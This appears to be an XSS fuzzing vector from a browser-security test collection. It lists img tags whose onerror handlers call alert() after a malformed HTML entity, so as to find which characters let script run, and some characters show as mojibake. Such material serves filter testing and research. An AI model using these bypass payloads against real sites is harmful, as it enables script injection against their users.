This vector shows what characters are allowed after a malformed names entity.
<img src=data: onerror="1&$[chr]log($[i])"><img src=data: onerror="1&alert(59)"><img src=data: onerror="1&0x0Balert(11)"><img src=data: onerror="1&0x09alert(9)"><img src=data: onerror="1&โalert(8194)"><img src=data: onerror="1&!alert(33)"><img src=data: onerror="1&0x0Calert(12)"><img src=data: onerror="1&โalert(8199)"><img src=data: onerror="1&โalert(8201)"><img src=data: onerror="1&โalert(8193)"><img src=data: onerror="1&ย alert(160)"><img src=data: onerror="1&โalert(8196)"><img src=data: onerror="1&โฏalert(8239)"><img src=data: onerror="1&โalert(8198)"><img src=data: onerror="1&โalert(8192)"><img src=data: onerror="1&&alert(38)"><img src=data: onerror="1&โฉalert(8233)"><img src=data: onerror="1&โalert(8200)"><img src=data: onerror="1&โalert(8202)"><img src=data: onerror="1&แalert(5760)"><img src=data: onerror="1&โ
alert(8197)">